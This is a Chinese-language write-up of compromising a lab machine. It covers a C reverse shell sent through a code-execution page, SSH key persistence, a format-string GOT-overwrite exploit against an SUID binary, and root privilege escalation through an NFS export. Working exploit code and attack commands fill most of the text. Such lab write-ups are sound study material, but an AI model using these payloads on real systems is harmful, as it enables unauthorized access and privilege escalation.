扫描端口,web 服务开在了 8088

image.png
image.png

访问啥都没有,扫描一下目录试试

image.png
image.png

/submit.php

image.png
image.png

/codereview.php

image.png
image.png

他是向 submit.php 发送代码的

image.png
image.png

他说他会去执行代码,但是我只试了 php 的,wp 说是 C 语言的,找了个 C 语言的 shell
https://www.mi1k7ea.com/2019/03/24/C%E7%BC%96%E5%86%99%E5%AE%9E%E7%8E%B0Linux%E5%8F%8D%E5%BC%B9shell/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 6666;
char *ip = "192.168.149.1";

void reverse_shell(){
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return;
}
void main(int argc, char const *argv[])
{
reverse_shell();
return 0;
}

连上来了

image.png
image.png

把 wsl 的公钥写到 .ssh/authorized_keys 方便一点

1
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNZ8DG1O2XEkB3Z4M03qO08QjHKCVVxfy/6emzyKWMO+p1bf0+E+s9SzPWCTYmZ/lfsudWe9QcNTEKRluONKMr1tC/8bE/ornr2pm8b/nNZsmfKme18Qohz2JFgMk/GLYECTWDX10fnl1a2RzSBKpUZB7CASurQLcPiP93aevHFLmDT+0jkecB9Skw7fjwTvAJLyWpDbDH0pKyd1RqtdctwYxABkxlUzh613M8ypk1++E3I8baCY4g460yUExd4aw13IeDTcBMtkBDwJaiNiT7niZD04Hz4bckt+gKwJ64FxAsGYE9GtwNbGakjKsi54EkifKsySvJdpCy3RukGu/XURXVODODzn6luK8IXlxp5BKM5dkOkMWTnfBn3N4blaAcvVQA8TUSgF7e+OHAYwio2Y0M2qcli9vKTFV5hlsWnUohI7RLg08LzkMi5eEKxHDRy32zfcBLhLDtTuwUYmnWkgB/NRBTx82WGm8H5n1VlvXb2Co3cz0Kr9sJHMR/JJ8= root@DESKTOP-SP02IB7" > authorized_keys
image.png
image.png

格式化字符串漏洞提权 john

my_first 权限有 s,可以 suid 提权

image.png
image.png

用 nc 把那个文件拷贝出来

image.png
image.png

IDA 打开看一下,在计算功能这里有一个格式化字符串漏洞,具体漏洞利用的知识可以去看:https://www.yuque.com/hxfqg9/bin/aedgn4

image.png
image.png
image.png
image.png

可以数出来,AAAA 是在第八个位置被 %p 解析

image.png
image.png

检查一下保护,没有 canary

image.png
image.png

靶机上 ASRL 是开着的

image.png
image.png

可以通过 ulimit -s unlimited 使得 ASLR 实际上没用

emmm,在搞个 peda
git clone https://github.com/longld/peda.git ~/peda
echo “source ~/peda/peda.py” >> ~/.gdbinit

gdb 调试看一下,得到 system 的地址

image.png
image.png

然后通过把 printf 的 got 的中的内容改成 system 的真实地址来拿到 shell
printf@got:0x8049bfc
system:0x40069060

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
payload = ""
payload += "1\n" # selection #1
payload += "1\n" # first number
addr=0x8049bfc
payload+= p32(addr)+p32(addr+2)
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload

额,靶机没有 pwntools
稍改一下

1
2
3
4
5
6
7
8
9
payload = ""
payload += "1\n" # selection #1
payload += "1\n" # first number
addr=0x8049bfc
payload+= "\xfc\x9b\x04\x08"+"\xfe\x9b\x04\x08"
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload

但实际上这样执行的是 system("Selection:") ,在本地写个 Selection: 可执行程序,由 exp.c 编译而来 gcc -o "Selection:" exp.c

1
2
3
4
5
6
#include <stdio.h>
int main()
{
system("cp /bin/sh /tmp/john");
system("chmod 4777 /tmp/john");
}

同时 export PATH=$PATH:/home/mike 不然那个 Selection: 不加 ./ 没法运行的
这时候 python exp.py | ./my_first 会在 /tmp 目录下生成 john

image.png
image.png

当程序拥有 john 的 suid 权限,以 mike 身份运行程序的时候 euid 会变成 john,这个时候再去使用 setreuid 交换 ruid 和 euid,就可以真正的变成 john 用户

image.png
image.png

去运行程序

1
2
3
4
5
#include <stdio.h>
void main(int argc, char *argv[]) {
setreuid(geteuid(), getuid());
execv("/bin/bash", argv);
}
image.png
image.png

nfs 提权 root

sudo -l 发现 nfs 不用密码就可以以 root 权限执行(后面操作怕把电脑弄乱了就在虚拟机上操作了)

image.png
image.png

启动:sudo /usr/local/sbin/nfs start
然后在攻击机上创建一个用来挂载的文件夹
mkdir /mnt/pegasus
然后挂载上
mount -t nfs -o proto=tcp,port=2049 192.168.149.183:/opt/nfs /mnt/pegasus

创建一个文件并且给他权限
touch /mnt/pegasus/hack_shell
chmod 777 /mnt/pegasus/hack_shell

回到靶机,把 /bin/dash 拷过去
cp /bin/dash /opt/nfs/hack_shell

然后在攻击机上给他权限
chmod u+s /mnt/pegasus/hack_shell
chmod g+s /mnt/pegasus/hack_shell

这样在靶机一执行,就能拿到 root 权限

image.png
image.png